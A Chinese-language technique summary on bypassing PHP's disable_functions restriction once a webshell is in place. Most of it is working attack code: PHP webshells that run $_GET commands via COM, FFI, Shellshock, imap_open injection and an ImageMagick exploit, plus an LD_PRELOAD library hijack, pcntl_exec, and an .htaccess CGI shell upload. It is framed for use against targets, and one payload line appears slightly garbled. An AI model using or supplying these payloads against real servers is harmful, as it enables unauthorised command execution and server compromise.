bypass disable_functions姿势总结
字数 1493 2025-08-03 16:42:54
Bypass disable_functions 技术总结
前言
disable_functions 是 php.ini 中的一个设置选项,可以用来设置 PHP 环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。当拿到一个 webshell 执行命令返回 ret=127 时,通常是由于 disable_functions 的限制。
常见禁用函数列表
典型的禁用函数包括:
- assert
- system
- passthru
- exec
- pcntl_exec
- shell_exec
- popen
- proc_open
绕过技术详解
1. 利用 Windows 组件 COM 绕过
条件:Windows 系统,com.allow_dcom 开启
<?php
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>
2. 利用 Linux 环境变量 LD_PRELOAD
初阶方法
原理:LD_PRELOAD 指定的动态链接库文件会在其他文件调用之前先被调用,借此可以达到劫持的效果。
- 创建 test.c 文件:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("whoami > /var/tmp/sd.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
- 编译为 .so 文件:
gcc -c -fPIC test.c -o test
gcc -shared test -o test.so
- PHP 调用代码:
<?php
putenv("LD_PRELOAD=/var/www/test.so");
mail("","","","","");
?>
进阶方法(无需 sendmail)
使用 GitHub 上的 bypass_disablefunc.php 和 bypass_disablefunc_x64.so 或 bypass_disablefunc_x86.so 文件。
3. 利用 PHP7.4 FFI 绕过
条件:PHP >= 7.4,ffi.enable=true
<?php
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/SD");
echo file_get_contents("/tmp/SD");
@unlink("/tmp/SD");
?>
4. 利用 Bash Shellshock (CVE-2014-6271)
条件:PHP < 5.6.2 & bash <= 4.3
<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
5. 利用 imap_open() 绕过
条件:
- 安装 php-imap 扩展
- php.ini 中 imap.enable_insecure_rsh=On
<?php
error_reporting(0);
if (!function_exists('imap_open')) { die("no imap_open function!"); }
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .">/tmp/cmd_result") . "|base64t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
6. 利用 Pcntl 组件
条件:安装并启用了 pcntl 组件
<?php pcntl_exec("/bin/bash", array("/tmp/b4dboy.sh"));?>
7. 利用 ImageMagick 漏洞 (CVE-2016-3714)
条件:
- ImageMagick <= 3.3.0
- 安装 php-imagick 扩展
- PHP >= 5.4
<?php
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') { $command = 'id'; }
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
8. 利用 Apache Mod CGI
条件:
- Apache + PHP
- 开启 cgi, rewrite
- Web 目录有 AllowOverride 权限
- 上传 .htaccess 文件:
Options +ExecCGI
AddHandler cgi-script .ant
- 上传 shell.ant:
#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id
9. 攻击 PHP-FPM
条件:
- Linux 系统
- PHP-FPM
- 存在可写目录
使用工具如蚁剑的 PHP-FPM 绕过插件。
10. 利用 GC UAF
条件:Linux + PHP7.0-7.3
利用 PHP 垃圾收集器中的堆溢出漏洞。
11. 利用 Json Serializer UAF
条件:
- Linux
- PHP7.1
- 或 PHP7.2 < 7.2.19
- 或 PHP7.3 < 7.3.6
12. 利用 Backtrace UAF
条件:
- Linux
- PHP7.0-7.2
- 或 PHP7.3 < 7.3.15
- 或 PHP7.4 < 7.4.3
13. 利用 iconv
条件:
- Linux
- putenv 可用
- iconv 扩展
- 存在可写目录
总结
本文总结了多种绕过 disable_functions 的技术,从简单的组件利用到复杂的漏洞利用。实际使用时需要根据目标环境选择合适的方法,并注意权限和路径问题。随着 PHP 版本的更新和安全机制的加强,部分方法可能不再适用,需要持续关注新的绕过技术。